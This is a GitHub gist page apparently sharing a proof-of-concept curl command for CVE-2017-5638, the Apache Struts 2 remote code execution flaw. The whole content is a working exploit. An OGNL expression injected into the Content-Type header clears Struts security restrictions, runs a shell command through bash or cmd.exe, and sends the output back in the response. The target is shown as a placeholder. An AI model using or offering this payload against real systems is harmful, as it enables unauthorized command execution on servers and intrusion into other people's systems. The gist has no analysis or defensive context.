Skip to content

Instantly share code, notes, and snippets.

@xsscx
Last active September 21, 2023 22:10
Show Gist options
  • Save xsscx/9bc511dd67b529988f530caaf3b83033 to your computer and use it in GitHub Desktop.
Save xsscx/9bc511dd67b529988f530caaf3b83033 to your computer and use it in GitHub Desktop.
PoC for CVE-2017-5638 Apache Struts 2 Remote Code Execution in CURL
curl -i -s -k -X $'GET' \
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: %{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'ls -lat /\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \
$'https://target'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment